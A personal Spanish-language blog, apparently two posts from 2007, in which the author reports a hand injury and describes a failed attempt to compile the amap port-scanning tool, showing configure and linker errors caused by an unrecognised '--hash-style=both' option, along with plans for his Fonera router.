A partir de hoy y aproximadamente hasta dentro de una semana es muy probable que no escriba nada, porque tengo la mano izquierda inmovilizada (y soy zurdo). Una mala caída me ha dejado un dolor que me impedía mover el pulgar y el meñique, hoy fui al médico y no tengo nada roto, sin embargo estoy con la mano vendada y no puedo usarla para nada, además al mover los otros tres dedos también me molesta un poco. Por ello solo puedo escribir en el pc con la mano derecha y se tarda bastante más que con dos manos.

También os adelanto que ya he podido compilar para la fonera desde el server, pero no puedo contaros como, es largo y ahora no voy a escribirlo.

Nada más, espero mejorarme lo antes posible y poder seguir escribiendo por aquí.

miércoles, septiembre 05, 2007

No puedo compilar en el server

La última vez que compile en el servidor fue cuando estuve con el LFS, luego como sabéis conseguí reparar la fonera y me puse a trabajar con ella, ya que era mi principal objetivo. Como ya queda poco para que empiece el curso, porque no es en octubre como muchos creíamos, es sobre el 20 de este mes, tengo que preguntar cuando es exactamente, bueno que me voy del tema, como queda poco estoy preparando ya el ultimo experimento (lo del modo cliente), y quería compilar una herramienta para la fonera, se trata de amap, un paquete que averigua que servicio corre en cada puerto abierto (no, nmap no lo hace), antes de hacer la compilacion cruzada probé a compilarlo para mi servidor también, pero ejecuto el ./configure y me da este error:

# ./configure
loading cache ./config.cache
checking for a BSD compatible install... /usr/bin/install -c
checking whether build environment is sane... yes
checking whether make sets ${MAKE}... yes
checking for working aclocal... found
checking for working autoconf... found
checking for working automake... found
checking for working autoheader... found
checking for working makeinfo... missing
checking for gcc... gcc
checking whether the C compiler (gcc ) works... no
configure: error: installation or configuration problem: C compiler cannot create executables.

Entonces, yo para comprobar que pasaba intenté compilar algo, porque ahí pone que gcc no puede crear ejecutables (WTF!), creé un fichero (test.c) que no es mas que un hola mundo y lo intenté compilar:

# gcc test.c -o test
/usr/local/bin/ld: opción `--hash-style=both' no reconocida
/usr/local/bin/ld: use la opción --help para información de modo de empleo
collect2: ld returned 1 exit status

No compila y la verdad es que no se que hacer, he googleado y no he encontrado nada, he buscado en todas partes pero no ha habido manera, así que he preguntado en un foro, esdebian.org, a ver si alguien puede ayudarme. Luego la idea sería hacer compilación cruzada y compilarlo con el toolchain de openwrt.

Mientras se soluciona ese contratiempo voy a seguir por otro frente, voy a configurar la red inalámbrica de mi otro router con wpa, y voy a intentar que la fonera se conecte a él, ya que la red wifi de mi instituto esta cifrada con wpa, aunque como ya he dicho en otras ocasiones tengo el fichero de configuración con la clave, así que no debería serme mayor problema.

Yo por último un comentario sobre el pendrive, hoy se cumplen las 48 horas, debería llegarme...